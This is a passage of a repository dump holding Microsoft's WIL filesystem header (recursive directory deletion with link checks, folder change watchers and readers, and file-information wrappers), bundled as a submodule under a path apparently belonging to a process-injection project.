names.\n combineOptions = PATHCCH_ENSURE_IS_EXTENDED_LENGTH_PATH;\n }\n else\n {\n // For regular paths normalize here to get consistent results when searching and deleting.\n RETURN_IF_FAILED(wil::GetFullPathNameW(inputPath, path));\n combineOptions = PATHCCH_ALLOW_LONG_PATHS;\n }\n\n wil::unique_hlocal_string searchPath;\n RETURN_IF_FAILED(::PathAllocCombine(path.get(), L\"*\", combineOptions, &searchPath));\n\n WIN32_FIND_DATAW fd;\n wil::unique_hfind findHandle(::FindFirstFileW(searchPath.get(), &fd));\n RETURN_LAST_ERROR_IF(!findHandle);\n\n for (;;)\n {\n // skip \".\" and \"..\"\n if (!(WI_IsFlagSet(fd.dwFileAttributes, FILE_ATTRIBUTE_DIRECTORY) && path_is_dot_or_dotdot(fd.cFileName)))\n {\n // Need to form an extended length path to provide the ability to delete paths > MAX_PATH\n // and files with non-normalized names (dots or spaces at the end).\n wil::unique_hlocal_string pathToDelete;\n RETURN_IF_FAILED(::PathAllocCombine(path.get(), fd.cFileName,\n PATHCCH_ENSURE_IS_EXTENDED_LENGTH_PATH | PATHCCH_DO_NOT_NORMALIZE_SEGMENTS, &pathToDelete));\n if (WI_IsFlagSet(fd.dwFileAttributes, FILE_ATTRIBUTE_DIRECTORY))\n {\n // Get a handle to the directory to delete, preventing it from being replaced to prevent writes which could be used\n // to bypass permission checks, and verify that it is not a name surrogate (e.g. symlink, mount point, etc).\n wil::unique_hfile recursivelyDeletableDirectoryHandle = TryCreateFileCanRecurseIntoDirectory(pathToDelete.get(), &fd);\n if (recursivelyDeletableDirectoryHandle)\n {\n RemoveDirectoryOptions localOptions = options;\n RETURN_IF_FAILED(RemoveDirectoryRecursiveNoThrow(pathToDelete.get(), WI_ClearFlag(localOptions, RemoveDirectoryOptions::KeepRootDirectory)));\n }\n else if (WI_IsFlagSet(fd.dwFileAttributes, FILE_ATTRIBUTE_REPARSE_POINT))\n {\n // This is a directory reparse point that should not be recursed. Delete it without traversing into it.\n RETURN_IF_WIN32_BOOL_FALSE(::RemoveDirectoryW(pathToDelete.get()));\n }\n else\n {\n // Failed to grab a handle to the file or to read its attributes. This is not safe to recurse.\n RETURN_WIN32(::GetLastError());\n }\n }\n else\n {\n // Try a DeleteFile. Some errors may be recoverable.\n if (!::DeleteFileW(pathToDelete.get()))\n {\n // Fail for anything other than ERROR_ACCESS_DENIED with option to RemoveReadOnly available\n bool potentiallyFixableReadOnlyProblem =\n WI_IsFlagSet(options, RemoveDirectoryOptions::RemoveReadOnly) && ::GetLastError() == ERROR_ACCESS_DENIED;\n RETURN_LAST_ERROR_IF(!potentiallyFixableReadOnlyProblem);\n\n // Fail if the file does not have read-only set, likely just an ACL problem\n DWORD fileAttr = ::GetFileAttributesW(pathToDelete.get());\n RETURN_LAST_ERROR_IF(!WI_IsFlagSet(fileAttr, FILE_ATTRIBUTE_READONLY));\n\n // Remove read-only flag, setting to NORMAL if completely empty\n WI_ClearFlag(fileAttr, FILE_ATTRIBUTE_READONLY);\n if (fileAttr == 0)\n {\n fileAttr = FILE_ATTRIBUTE_NORMAL;\n }\n\n // Set the new attributes and try to delete the file again, returning any failure\n ::SetFileAttributesW(pathToDelete.get(), fileAttr);\n RETURN_IF_WIN32_BOOL_FALSE(::DeleteFileW(pathToDelete.get()));\n }\n }\n }\n\n if (!::FindNextFileW(findHandle.get(), &fd))\n {\n auto const err = ::GetLastError();\n if (err == ERROR_NO_MORE_FILES)\n {\n break;\n }\n RETURN_WIN32(err);\n }\n }\n\n if (WI_IsFlagClear(options, RemoveDirectoryOptions::KeepRootDirectory))\n {\n RETURN_IF_WIN32_BOOL_FALSE(::RemoveDirectoryW(path.get()));\n }\n return S_OK;\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n inline void RemoveDirectoryRecursive(PCWSTR path, RemoveDirectoryOptions options = RemoveDirectoryOptions::None)\n {\n THROW_IF_FAILED(RemoveDirectoryRecursiveNoThrow(path, options));\n }\n#endif // WIL_ENABLE_EXCEPTIONS\n\n // Range based for that supports Win32 structures that use NextEntryOffset as the basis of traversing\n // a result buffer that contains data. This is used in the following FileIO calls:\n // FileStreamInfo, FILE_STREAM_INFO\n // FileIdBothDirectoryInfo, FILE_ID_BOTH_DIR_INFO\n // FileFullDirectoryInfo, FILE_FULL_DIR_INFO\n // FileIdExtdDirectoryInfo, FILE_ID_EXTD_DIR_INFO\n // ReadDirectoryChangesW, FILE_NOTIFY_INFORMATION\n\n template \n struct next_entry_offset_iterator\n {\n // Fulfill std::iterator_traits requirements\n using difference_type = ptrdiff_t;\n using value_type = T;\n using pointer = const T*;\n using reference = const T&;\n#ifdef _XUTILITY_\n using iterator_category = ::std::forward_iterator_tag;\n#endif\n\n next_entry_offset_iterator(T *iterable = __nullptr) : current_(iterable) {}\n\n // range based for requires operator!=, operator++ and operator* to do its work\n // on the type returned from begin() and end(), provide those here.\n bool operator!=(const next_entry_offset_iterator& other) const { return current_ != other.current_; }\n\n next_entry_offset_iterator& operator++()\n {\n current_ = (current_->NextEntryOffset != 0) ?\n reinterpret_cast(reinterpret_cast(current_) + current_->NextEntryOffset) :\n __nullptr;\n return *this;\n }\n\n next_entry_offset_iterator operator++(int)\n {\n auto copy = *this;\n ++(*this);\n return copy;\n }\n\n reference operator*() const WI_NOEXCEPT { return *current_; }\n pointer operator->() const WI_NOEXCEPT { return current_; }\n\n next_entry_offset_iterator begin() { return *this; }\n next_entry_offset_iterator end() { return next_entry_offset_iterator(); }\n\n T* current_;\n };\n\n template \n next_entry_offset_iterator create_next_entry_offset_iterator(T* p)\n {\n return next_entry_offset_iterator(p);\n }\n\n#pragma region Folder Watcher\n // Example use in exception based code:\n // auto watcher = wil::make_folder_watcher(folder.Path().c_str(), true, wil::allChangeEvents, []()\n // {\n // // respond\n // });\n //\n // Example use in result code based code:\n // wil::unique_folder_watcher watcher;\n // THROW_IF_FAILED(watcher.create(folder, true, wil::allChangeEvents, []()\n // {\n // // respond\n // }));\n\n enum class FolderChangeEvent : DWORD\n {\n ChangesLost = 0, // requies special handling, reset state as events were lost\n Added = FILE_ACTION_ADDED,\n Removed = FILE_ACTION_REMOVED,\n Modified = FILE_ACTION_MODIFIED,\n RenameOldName = FILE_ACTION_RENAMED_OLD_NAME,\n RenameNewName = FILE_ACTION_RENAMED_NEW_NAME,\n };\n\n enum class FolderChangeEvents : DWORD\n {\n None = 0,\n FileName = FILE_NOTIFY_CHANGE_FILE_NAME,\n DirectoryName = FILE_NOTIFY_CHANGE_DIR_NAME,\n Attributes = FILE_NOTIFY_CHANGE_ATTRIBUTES,\n FileSize = FILE_NOTIFY_CHANGE_SIZE,\n LastWriteTime = FILE_NOTIFY_CHANGE_LAST_WRITE,\n Security = FILE_NOTIFY_CHANGE_SECURITY,\n All = FILE_NOTIFY_CHANGE_FILE_NAME |\n FILE_NOTIFY_CHANGE_DIR_NAME |\n FILE_NOTIFY_CHANGE_ATTRIBUTES |\n FILE_NOTIFY_CHANGE_SIZE |\n FILE_NOTIFY_CHANGE_LAST_WRITE |\n FILE_NOTIFY_CHANGE_SECURITY\n };\n DEFINE_ENUM_FLAG_OPERATORS(FolderChangeEvents);\n\n /// @cond\n namespace details\n {\n struct folder_watcher_state\n {\n folder_watcher_state(wistd::function &&callback) : m_callback(wistd::move(callback))\n {\n }\n wistd::function m_callback;\n // Order is important, need to close the thread pool wait before the change handle.\n unique_hfind_change m_findChangeHandle;\n unique_threadpool_wait m_threadPoolWait;\n };\n\n inline void delete_folder_watcher_state(_In_opt_ folder_watcher_state *storage) { delete storage; }\n\n typedef resource_policy folder_watcher_state_resource_policy;\n }\n /// @endcond\n\n template \n class folder_watcher_t : public storage_t\n {\n public:\n // forward all base class constructors...\n template \n explicit folder_watcher_t(args_t&&... args) WI_NOEXCEPT : storage_t(wistd::forward(args)...) {}\n\n // HRESULT or void error handling...\n typedef typename err_policy::result result;\n\n // Exception-based constructors\n folder_watcher_t(PCWSTR folderToWatch, bool isRecursive, FolderChangeEvents filter, wistd::function &&callback)\n {\n static_assert(wistd::is_same::value, \"this constructor requires exceptions; use the create method\");\n create(folderToWatch, isRecursive, filter, wistd::move(callback));\n }\n\n result create(PCWSTR folderToWatch, bool isRecursive, FolderChangeEvents filter, wistd::function &&callback)\n {\n return err_policy::HResult(create_common(folderToWatch, isRecursive, filter, wistd::move(callback)));\n }\n private:\n // Factored into a standalone function to support Clang which does not support conversion of stateless lambdas\n // to __stdcall\n static void __stdcall callback(PTP_CALLBACK_INSTANCE /*Instance*/, void *context, TP_WAIT *pThreadPoolWait, TP_WAIT_RESULT /*result*/)\n {\n auto watcherState = static_cast(context);\n watcherState->m_callback();\n\n // Rearm the wait. Should not fail with valid parameters.\n FindNextChangeNotification(watcherState->m_findChangeHandle.get());\n SetThreadpoolWait(pThreadPoolWait, watcherState->m_findChangeHandle.get(), __nullptr);\n }\n\n // This function exists to avoid template expansion of this code based on err_policy.\n HRESULT create_common(PCWSTR folderToWatch, bool isRecursive, FolderChangeEvents filter, wistd::function &&callback)\n {\n wistd::unique_ptr watcherState(new(std::nothrow) details::folder_watcher_state(wistd::move(callback)));\n RETURN_IF_NULL_ALLOC(watcherState);\n\n watcherState->m_findChangeHandle.reset(FindFirstChangeNotificationW(folderToWatch, isRecursive, static_cast(filter)));\n RETURN_LAST_ERROR_IF(!watcherState->m_findChangeHandle);\n\n watcherState->m_threadPoolWait.reset(CreateThreadpoolWait(&folder_watcher_t::callback, watcherState.get(), __nullptr));\n RETURN_LAST_ERROR_IF(!watcherState->m_threadPoolWait);\n this->reset(watcherState.release()); // no more failures after this, pass ownership\n SetThreadpoolWait(this->get()->m_threadPoolWait.get(), this->get()->m_findChangeHandle.get(), __nullptr);\n return S_OK;\n }\n };\n\n typedef unique_any_t, err_returncode_policy>> unique_folder_watcher_nothrow;\n\n inline unique_folder_watcher_nothrow make_folder_watcher_nothrow(PCWSTR folderToWatch, bool isRecursive, FolderChangeEvents filter, wistd::function &&callback) WI_NOEXCEPT\n {\n unique_folder_watcher_nothrow watcher;\n watcher.create(folderToWatch, isRecursive, filter, wistd::move(callback));\n return watcher; // caller must test for success using if (watcher)\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n typedef unique_any_t, err_exception_policy>> unique_folder_watcher;\n\n inline unique_folder_watcher make_folder_watcher(PCWSTR folderToWatch, bool isRecursive, FolderChangeEvents filter, wistd::function &&callback)\n {\n return unique_folder_watcher(folderToWatch, isRecursive, filter, wistd::move(callback));\n }\n#endif // WIL_ENABLE_EXCEPTIONS\n\n#pragma endregion\n\n#pragma region Folder Reader\n\n // Example use for throwing:\n // auto reader = wil::make_folder_change_reader(folder.Path().c_str(), true, wil::FolderChangeEvents::All,\n // [](wil::FolderChangeEvent event, PCWSTR fileName)\n // {\n // switch (event)\n // {\n // case wil::FolderChangeEvent::ChangesLost: break;\n // case wil::FolderChangeEvent::Added: break;\n // case wil::FolderChangeEvent::Removed: break;\n // case wil::FolderChangeEvent::Modified: break;\n // case wil::FolderChangeEvent::RenamedOldName: break;\n // case wil::FolderChangeEvent::RenamedNewName: break;\n // });\n //\n // Example use for non throwing:\n // wil::unique_folder_change_reader_nothrow reader;\n // THROW_IF_FAILED(reader.create(folder, true, wil::FolderChangeEvents::All,\n // [](wil::FolderChangeEvent event, PCWSTR fileName)\n // {\n // // handle changes\n // }));\n //\n\n // @cond\n namespace details\n {\n struct folder_change_reader_state\n {\n folder_change_reader_state(bool isRecursive, FolderChangeEvents filter, wistd::function &&callback)\n : m_callback(wistd::move(callback)), m_isRecursive(isRecursive), m_filter(filter)\n {\n }\n\n ~folder_change_reader_state()\n {\n if (m_tpIo != __nullptr)\n {\n TP_IO *tpIo = m_tpIo;\n\n // Indicate to the callback function that this object is being torn\n // down.\n\n {\n auto autoLock = m_cancelLock.lock_exclusive();\n m_tpIo = __nullptr;\n }\n\n // Cancel IO to terminate the file system monitoring operation.\n\n if (m_folderHandle)\n {\n CancelIoEx(m_folderHandle.get(), &m_overlapped);\n }\n\n // Wait for callbacks to complete.\n //\n // N.B. This is a blocking call and must not be made within a\n // callback or within a lock which is taken inside the\n // callback.\n\n WaitForThreadpoolIoCallbacks(tpIo, TRUE);\n CloseThreadpoolIo(tpIo);\n }\n }\n\n HRESULT StartIo()\n {\n // Unfortunately we have to handle ref-counting of IOs on behalf of the\n // thread pool.\n StartThreadpoolIo(m_tpIo);\n HRESULT hr = ReadDirectoryChangesW(m_folderHandle.get(), m_readBuffer, sizeof(m_readBuffer),\n m_isRecursive, static_cast(m_filter), __nullptr, &m_overlapped, __nullptr) ?\n S_OK : HRESULT_FROM_WIN32(::GetLastError());\n if (FAILED(hr))\n {\n // This operation does not have the usual semantic of returning\n // ERROR_IO_PENDING.\n // WI_ASSERT(hr != HRESULT_FROM_WIN32(ERROR_IO_PENDING));\n\n // If the operation failed for whatever reason, ensure the TP\n // ref counts are accurate.\n\n CancelThreadpoolIo(m_tpIo);\n }\n return hr;\n }\n\n // void (wil::FolderChangeEvent event, PCWSTR fileName)\n wistd::function m_callback;\n unique_handle m_folderHandle;\n BOOL m_isRecursive = FALSE;\n FolderChangeEvents m_filter = FolderChangeEvents::None;\n OVERLAPPED m_overlapped{};\n TP_IO *m_tpIo = __nullptr;\n srwlock m_cancelLock;\n char m_readBuffer[4096]; // Consider alternative buffer sizes. With 512 byte buffer i was not able to observe overflow.\n };\n\n inline void delete_folder_change_reader_state(_In_opt_ folder_change_reader_state *storage) { delete storage; }\n\n typedef resource_policy folder_change_reader_state_resource_policy;\n }\n /// @endcond\n\n template \n class folder_change_reader_t : public storage_t\n {\n public:\n // forward all base class constructors...\n template \n explicit folder_change_reader_t(args_t&&... args) WI_NOEXCEPT : storage_t(wistd::forward(args)...) {}\n\n // HRESULT or void error handling...\n typedef typename err_policy::result result;\n\n // Exception-based constructors\n folder_change_reader_t(PCWSTR folderToWatch, bool isRecursive, FolderChangeEvents filter, wistd::function &&callback)\n {\n static_assert(wistd::is_same::value, \"this constructor requires exceptions; use the create method\");\n create(folderToWatch, isRecursive, filter, wistd::move(callback));\n }\n\n result create(PCWSTR folderToWatch, bool isRecursive, FolderChangeEvents filter, wistd::function &&callback)\n {\n return err_policy::HResult(create_common(folderToWatch, isRecursive, filter, wistd::move(callback)));\n }\n\n wil::unique_hfile& folder_handle() { return this->get()->m_folderHandle; }\n\n private:\n // Factored into a standalone function to support Clang which does not support conversion of stateless lambdas\n // to __stdcall\n static void __stdcall callback(PTP_CALLBACK_INSTANCE /* Instance */, void *context, void * /*overlapped*/,\n ULONG result, ULONG_PTR /* BytesTransferred */, TP_IO * /* Io */)\n {\n auto readerState = static_cast(context);\n // WI_ASSERT(overlapped == &readerState->m_overlapped);\n\n bool requeue = true;\n if (result == ERROR_SUCCESS)\n {\n for (auto const& info : create_next_entry_offset_iterator(reinterpret_cast(readerState->m_readBuffer)))\n {\n wchar_t realtiveFileName[MAX_PATH];\n StringCchCopyNW(realtiveFileName, ARRAYSIZE(realtiveFileName), info.FileName, info.FileNameLength / sizeof(info.FileName[0]));\n\n readerState->m_callback(static_cast(info.Action), realtiveFileName);\n }\n }\n else if (result == ERROR_NOTIFY_ENUM_DIR)\n {\n readerState->m_callback(FolderChangeEvent::ChangesLost, __nullptr);\n }\n else\n {\n requeue = false;\n }\n\n if (requeue)\n {\n // If the lock is held non-shared or the TP IO is nullptr, this\n // structure is being torn down. Otherwise, monitor for further\n // changes.\n auto autoLock = readerState->m_cancelLock.try_lock_shared();\n if (autoLock && readerState->m_tpIo)\n {\n readerState->StartIo(); // ignoring failure here\n }\n }\n }\n\n // This function exists to avoid template expansion of this code based on err_policy.\n HRESULT create_common(PCWSTR folderToWatch, bool isRecursive, FolderChangeEvents filter, wistd::function &&callback)\n {\n wistd::unique_ptr readerState(new(std::nothrow) details::folder_change_reader_state(\n isRecursive, filter, wistd::move(callback)));\n RETURN_IF_NULL_ALLOC(readerState);\n\n readerState->m_folderHandle.reset(CreateFileW(folderToWatch,\n FILE_LIST_DIRECTORY, FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE,\n __nullptr, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, __nullptr));\n RETURN_LAST_ERROR_IF(!readerState->m_folderHandle);\n\n readerState->m_tpIo = CreateThreadpoolIo(readerState->m_folderHandle.get(), &folder_change_reader_t::callback, readerState.get(), __nullptr);\n RETURN_LAST_ERROR_IF_NULL(readerState->m_tpIo);\n RETURN_IF_FAILED(readerState->StartIo());\n this->reset(readerState.release());\n return S_OK;\n }\n };\n\n typedef unique_any_t, err_returncode_policy>> unique_folder_change_reader_nothrow;\n\n inline unique_folder_change_reader_nothrow make_folder_change_reader_nothrow(PCWSTR folderToWatch, bool isRecursive, FolderChangeEvents filter,\n wistd::function &&callback) WI_NOEXCEPT\n {\n unique_folder_change_reader_nothrow watcher;\n watcher.create(folderToWatch, isRecursive, filter, wistd::move(callback));\n return watcher; // caller must test for success using if (watcher)\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n typedef unique_any_t, err_exception_policy>> unique_folder_change_reader;\n\n inline unique_folder_change_reader make_folder_change_reader(PCWSTR folderToWatch, bool isRecursive, FolderChangeEvents filter,\n wistd::function &&callback)\n {\n return unique_folder_change_reader(folderToWatch, isRecursive, filter, wistd::move(callback));\n }\n#endif // WIL_ENABLE_EXCEPTIONS\n#pragma endregion\n\n //! Dos and VolumeGuid paths are always extended length paths with the \\\\?\\ prefix.\n enum class VolumePrefix\n {\n Dos = VOLUME_NAME_DOS, // Extended Dos Device path form, e.g. \\\\?\\C:\\Users\\Chris\\AppData\\Local\\Temp\\wil8C31.tmp\n VolumeGuid = VOLUME_NAME_GUID, // \\\\?\\Volume{588fb606-b95b-4eae-b3cb-1e49861aaf18}\\Users\\Chris\\AppData\\Local\\Temp\\wil8C31.tmp\n // The following are special paths which can't be used with Win32 APIs, but are useful in other scenarios.\n None = VOLUME_NAME_NONE, // Path without the volume root, e.g. \\Users\\Chris\\AppData\\Local\\Temp\\wil8C31.tmp\n NtObjectName = VOLUME_NAME_NT, // Unique name used by Object Manager, e.g. \\Device\\HarddiskVolume4\\Users\\Chris\\AppData\\Local\\Temp\\wil8C31.tmp\n };\n enum class PathOptions\n {\n Normalized = FILE_NAME_NORMALIZED,\n Opened = FILE_NAME_OPENED,\n };\n DEFINE_ENUM_FLAG_OPERATORS(PathOptions);\n\n /** A strongly typed version of the Win32 API GetFinalPathNameByHandleW.\n Get the full path name in different forms\n Use this instead + VolumePrefix::None instead of GetFileInformationByHandleEx(FileNameInfo) to\n get that path form. */\n template \n HRESULT GetFinalPathNameByHandleW(HANDLE fileHandle, string_type& path,\n wil::VolumePrefix volumePrefix = wil::VolumePrefix::Dos, wil::PathOptions options = wil::PathOptions::Normalized)\n {\n return AdaptFixedSizeToAllocatedResult(path,\n [&](_Out_writes_(valueLength) PWSTR value, size_t valueLength, _Out_ size_t* valueLengthNeededWithNull) -> HRESULT\n {\n *valueLengthNeededWithNull = ::GetFinalPathNameByHandleW(fileHandle, value, static_cast(valueLength),\n static_cast(volumePrefix) | static_cast(options));\n RETURN_LAST_ERROR_IF(*valueLengthNeededWithNull == 0);\n WI_ASSERT((*value != L'\\0') == (*valueLengthNeededWithNull < valueLength));\n if (*valueLengthNeededWithNull < valueLength)\n {\n (*valueLengthNeededWithNull)++; // it fit, account for the null\n }\n return S_OK;\n });\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n /** A strongly typed version of the Win32 API GetFinalPathNameByHandleW.\n Get the full path name in different forms. Use this + VolumePrefix::None\n instead of GetFileInformationByHandleEx(FileNameInfo) to get that path form. */\n template \n string_type GetFinalPathNameByHandleW(HANDLE fileHandle,\n wil::VolumePrefix volumePrefix = wil::VolumePrefix::Dos, wil::PathOptions options = wil::PathOptions::Normalized)\n {\n string_type result;\n THROW_IF_FAILED((GetFinalPathNameByHandleW(fileHandle, result, volumePrefix, options)));\n return result;\n }\n#endif\n\n //! A strongly typed version of the Win32 API of GetCurrentDirectoryW.\n //! Return a path in an allocated buffer for handling long paths.\n template \n HRESULT GetCurrentDirectoryW(string_type& path)\n {\n return AdaptFixedSizeToAllocatedResult(path,\n [&](_Out_writes_(valueLength) PWSTR value, size_t valueLength, _Out_ size_t* valueLengthNeededWithNull) -> HRESULT\n {\n *valueLengthNeededWithNull = ::GetCurrentDirectoryW(static_cast(valueLength), value);\n RETURN_LAST_ERROR_IF(*valueLengthNeededWithNull == 0);\n WI_ASSERT((*value != L'\\0') == (*valueLengthNeededWithNull < valueLength));\n if (*valueLengthNeededWithNull < valueLength)\n {\n (*valueLengthNeededWithNull)++; // it fit, account for the null\n }\n return S_OK;\n });\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n //! A strongly typed version of the Win32 API of GetCurrentDirectoryW.\n //! Return a path in an allocated buffer for handling long paths.\n template \n string_type GetCurrentDirectoryW()\n {\n string_type result;\n THROW_IF_FAILED((GetCurrentDirectoryW(result)));\n return result;\n }\n#endif\n\n // TODO: add support for these and other similar APIs.\n // GetShortPathNameW()\n // GetLongPathNameW()\n // GetWindowsDirectory()\n // GetTempDirectory()\n\n /// @cond\n namespace details\n {\n template struct MapInfoClassToInfoStruct; // failure to map is a usage error caught by the compiler\n#define MAP_INFOCLASS_TO_STRUCT(InfoClass, InfoStruct, IsFixed, Extra) \\\n template <> struct MapInfoClassToInfoStruct \\\n { \\\n typedef InfoStruct type; \\\n static bool const isFixed = IsFixed; \\\n static size_t const extraSize = Extra; \\\n };\n\n MAP_INFOCLASS_TO_STRUCT(FileBasicInfo, FILE_BASIC_INFO, true, 0);\n MAP_INFOCLASS_TO_STRUCT(FileStandardInfo, FILE_STANDARD_INFO, true, 0);\n MAP_INFOCLASS_TO_STRUCT(FileNameInfo, FILE_NAME_INFO, false, 32);\n MAP_INFOCLASS_TO_STRUCT(FileRenameInfo, FILE_RENAME_INFO, false, 32);\n MAP_INFOCLASS_TO_STRUCT(FileDispositionInfo, FILE_DISPOSITION_INFO, true, 0);\n MAP_INFOCLASS_TO_STRUCT(FileAllocationInfo, FILE_ALLOCATION_INFO, true, 0);\n MAP_INFOCLASS_TO_STRUCT(FileEndOfFileInfo, FILE_END_OF_FILE_INFO, true, 0);\n MAP_INFOCLASS_TO_STRUCT(FileStreamInfo, FILE_STREAM_INFO, false, 32);\n MAP_INFOCLASS_TO_STRUCT(FileCompressionInfo, FILE_COMPRESSION_INFO, true, 0);\n MAP_INFOCLASS_TO_STRUCT(FileAttributeTagInfo, FILE_ATTRIBUTE_TAG_INFO, true, 0);\n MAP_INFOCLASS_TO_STRUCT(FileIdBothDirectoryInfo, FILE_ID_BOTH_DIR_INFO, false, 4096);\n MAP_INFOCLASS_TO_STRUCT(FileIdBothDirectoryRestartInfo, FILE_ID_BOTH_DIR_INFO, true, 0);\n MAP_INFOCLASS_TO_STRUCT(FileIoPriorityHintInfo, FILE_IO_PRIORITY_HINT_INFO, true, 0);\n MAP_INFOCLASS_TO_STRUCT(FileRemoteProtocolInfo, FILE_REMOTE_PROTOCOL_INFO, true, 0);\n MAP_INFOCLASS_TO_STRUCT(FileFullDirectoryInfo, FILE_FULL_DIR_INFO, false, 4096);\n MAP_INFOCLASS_TO_STRUCT(FileFullDirectoryRestartInfo, FILE_FULL_DIR_INFO, true, 0);\n#if (_WIN32_WINNT >= _WIN32_WINNT_WIN8)\n MAP_INFOCLASS_TO_STRUCT(FileStorageInfo, FILE_STORAGE_INFO, true, 0);\n MAP_INFOCLASS_TO_STRUCT(FileAlignmentInfo, FILE_ALIGNMENT_INFO, true, 0);\n MAP_INFOCLASS_TO_STRUCT(FileIdInfo, FILE_ID_INFO, true, 0);\n MAP_INFOCLASS_TO_STRUCT(FileIdExtdDirectoryInfo, FILE_ID_EXTD_DIR_INFO, false, 4096);\n MAP_INFOCLASS_TO_STRUCT(FileIdExtdDirectoryRestartInfo, FILE_ID_EXTD_DIR_INFO, true, 0);\n#endif\n\n // Type unsafe version used in the implementation to avoid template bloat.\n inline HRESULT GetFileInfo(HANDLE fileHandle, FILE_INFO_BY_HANDLE_CLASS infoClass, size_t allocationSize,\n _Outptr_result_nullonfailure_ void **result)\n {\n *result = nullptr;\n\n wistd::unique_ptr resultHolder(new(std::nothrow) char[allocationSize]);\n RETURN_IF_NULL_ALLOC(resultHolder);\n\n for (;;)\n {\n if (GetFileInformationByHandleEx(fileHandle, infoClass, resultHolder.get(), static_cast(allocationSize)))\n {\n *result = resultHolder.release();\n break;\n }\n else\n {\n DWORD const lastError = ::GetLastError();\n if (lastError == ERROR_MORE_DATA)\n {\n allocationSize *= 2;\n resultHolder.reset(new(std::nothrow) char[allocationSize]);\n RETURN_IF_NULL_ALLOC(resultHolder);\n }\n else if (lastError == ERROR_NO_MORE_FILES) // for folder enumeration cases\n {\n break;\n }\n else if (lastError == ERROR_INVALID_PARAMETER) // operation not supported by file system\n {\n return HRESULT_FROM_WIN32(lastError);\n }\n else\n {\n RETURN_WIN32(lastError);\n }\n }\n }\n return S_OK;\n }\n }\n /// @endcond\n\n /** Get file information for a variable sized structure, returns an HRESULT.\n ~~~\n wistd::unique_ptr fileNameInfo;\n RETURN_IF_FAILED(GetFileInfoNoThrow(fileHandle, fileNameInfo));\n ~~~\n */\n template ::isFixed, int>::type = 0>\n HRESULT GetFileInfoNoThrow(HANDLE fileHandle, wistd::unique_ptr::type> &result) WI_NOEXCEPT\n {\n void *rawResult;\n HRESULT hr = details::GetFileInfo(fileHandle, infoClass,\n sizeof(typename details::MapInfoClassToInfoStruct::type) + details::MapInfoClassToInfoStruct::extraSize,\n &rawResult);\n result.reset(static_cast::type*>(rawResult));\n RETURN_HR_IF_EXPECTED(hr, hr == E_INVALIDARG); // operation not supported by file system\n RETURN_IF_FAILED(hr);\n return S_OK;\n }\n\n /** Get file information for a fixed sized structure, returns an HRESULT.\n ~~~\n FILE_BASIC_INFO fileBasicInfo;\n RETURN_IF_FAILED(GetFileInfoNoThrow(fileHandle, &fileBasicInfo));\n ~~~\n */\n template ::isFixed, int>::type = 0>\n HRESULT GetFileInfoNoThrow(HANDLE fileHandle, _Out_ typename details::MapInfoClassToInfoStruct::type *result) WI_NOEXCEPT\n {\n const HRESULT hr = GetFileInformationByHandleEx(fileHandle, infoClass, result, sizeof(*result)) ?\n S_OK : HRESULT_FROM_WIN32(::GetLastError());\n RETURN_HR_IF_EXPECTED(hr, hr == E_INVALIDARG); // operation not supported by file system\n RETURN_IF_FAILED(hr);\n return S_OK;\n }\n\n // Verifies that the given file path is not a hard or a soft link. If the file is present at the path, returns\n // a handle to it without delete permissions to block an attacker from swapping the file.\n inline HRESULT CreateFileAndEnsureNotLinked(PCWSTR path, wil::unique_hfile& fileHandle)\n {\n // Open handles to the original path and to the final path and compare each file's information\n // to verify they are the same file. If they are different, the file is a soft link.\n fileHandle.reset(CreateFileW(path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT, nullptr));\n RETURN_LAST_ERROR_IF(!fileHandle);\n BY_HANDLE_FILE_INFORMATION fileInfo;\n RETURN_IF_WIN32_BOOL_FALSE(GetFileInformationByHandle(fileHandle.get(), &fileInfo));\n\n // Open a handle without the reparse point flag to get the final path in case it is a soft link.\n wil::unique_hfile finalPathHandle(CreateFileW(path, 0, 0, nullptr, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, nullptr));\n RETURN_LAST_ERROR_IF(!finalPathHandle);\n BY_HANDLE_FILE_INFORMATION finalFileInfo;\n RETURN_IF_WIN32_BOOL_FALSE(GetFileInformationByHandle(finalPathHandle.get(), &finalFileInfo));\n finalPathHandle.reset();\n\n // The low and high indices and volume serial number uniquely identify a file. These must match if they are the same file.\n const bool isSoftLink =\n ((fileInfo.nFileIndexLow != finalFileInfo.nFileIndexLow) ||\n (fileInfo.nFileIndexHigh != finalFileInfo.nFileIndexHigh) ||\n (fileInfo.dwVolumeSerialNumber != finalFileInfo.dwVolumeSerialNumber));\n\n // Return failure if it is a soft link or a hard link (number of links greater than 1).\n RETURN_HR_IF(HRESULT_FROM_WIN32(ERROR_BAD_PATHNAME), (isSoftLink || fileInfo.nNumberOfLinks > 1));\n\n return S_OK;\n }\n\n#ifdef _CPPUNWIND\n /** Get file information for a fixed sized structure, throws on failure.\n ~~~\n auto fileBasicInfo = GetFileInfo(fileHandle);\n ~~~\n */\n template ::isFixed, int>::type = 0>\n typename details::MapInfoClassToInfoStruct::type GetFileInfo(HANDLE fileHandle)\n {\n typename details::MapInfoClassToInfoStruct::type result;\n THROW_IF_FAILED(GetFileInfoNoThrow(fileHandle, &result));\n return result;\n }\n\n /** Get file information for a variable sized structure, throws on failure.\n ~~~\n auto fileBasicInfo = GetFileInfo(fileHandle);\n ~~~\n */\n template ::isFixed, int>::type = 0>\n wistd::unique_ptr::type> GetFileInfo(HANDLE fileHandle)\n {\n wistd::unique_ptr::type> result;\n THROW_IF_FAILED(GetFileInfoNoThrow(fileHandle, result));\n return result;\n }\n#endif // _CPPUNWIND\n#endif // WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) && (_WIN32_WINNT >= _WIN32_WINNT_WIN7)\n}\n\n#endif // __WIL_FILESYSTEM_INCLUDED\n" }, { "path": "Inject/herpaderping-main/ext/submodules/wil/registry.h", "content": "//*********************************************************\n//\n// Copyright (c) Microsoft. All rights reserved.\n// This code is licensed under the MIT License.\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF\n// ANY KIND, EXPRESS OR IMPLIED, 